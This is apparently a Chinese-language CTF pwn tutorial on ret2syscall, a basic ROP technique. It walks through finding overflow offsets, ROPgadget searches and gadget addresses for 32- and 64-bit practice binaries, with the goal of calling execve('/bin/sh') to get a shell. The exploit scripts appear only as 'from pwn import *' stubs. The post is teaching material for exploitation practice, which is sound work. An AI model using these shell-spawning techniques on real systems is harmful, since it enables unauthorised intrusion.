stackoverflow之ret2syscall
ret2syscall
ret2syscall,基本ROP之一,控制程序执行系统调用,获取shell。
1、系统调用
为方便调用内核,Linux将内核功能接口制作为系统调用(system call),其类似C语言中的函数,可在程序中直接调用。
2、32&64&shell
系统调用号查询:
1 | /usr/include/x86_64-linux-gnu/asm/unistd_32.h |
系统调用下的shell:
1 | execve("/bin/sh",NULL,NULL) |
参考:系统调用和系统中断
3、ROP gadgets
将获取shell的系统调用参数放到对应寄存器中,通过控制寄存器值,部署寄存器流,一段段控制,最后再调用系统中断,即可获取shell。
32位binary下的shell:
1 | eax:0xb |
64位binary下的shell:
1 | rax:59 |
4、条件
一般利用到ret2syscall的binary都在静态编译下。
1 | gcc demo.c ‐o demo ‐static |
example_32
1、checksec
2、IDA:
溢出空间=0x64+4+4+4=112。
binary中含有字符串/bin/sh
。
3、ROP gadgets
eax:
1 | ROPgadget --binary rop --only 'pop|ret' | grep 'eax' |
others:
1 | ROPgadget --binary rop --only 'pop|ret' | grep 'ebx' |
bin_sh:
1 | ROPgadget --binary rop --string '/bin/sh' |
int 0x80:
1 | ROPgadget --binary rop --only 'int' |
4、exploit
1 | from pwn import * |
example_64
1、checksec
64位的binary,所有保护机制都关闭了。
2、IDA
溢出空间=0x10+8。
存在/bin/sh
。
3、ROP gadgets
eax_rdx_ebx:0x0000000000478826
1 | ROPgadget --binary demo --only 'pop|ret' | grep 'rax' |
rdi:0x00000000004015f6
1 | ROPgadget --binary demo --only 'pop|ret' | grep 'rdi' |
rsi:0x0000000000401717
1 | ROPgadget --binary demo --only 'pop|ret' | grep 'rsi' |
binsh_addr:0x00000000004a1344
1 | ROPgadget --binary demo --string '/bin/sh' |
syscall:0x0000000000467655
1 | ROPgadget --binary demo | grep 'syscall' |
4、exploit
1 | from pwn import * |
pwn
reference
github-ctf-wiki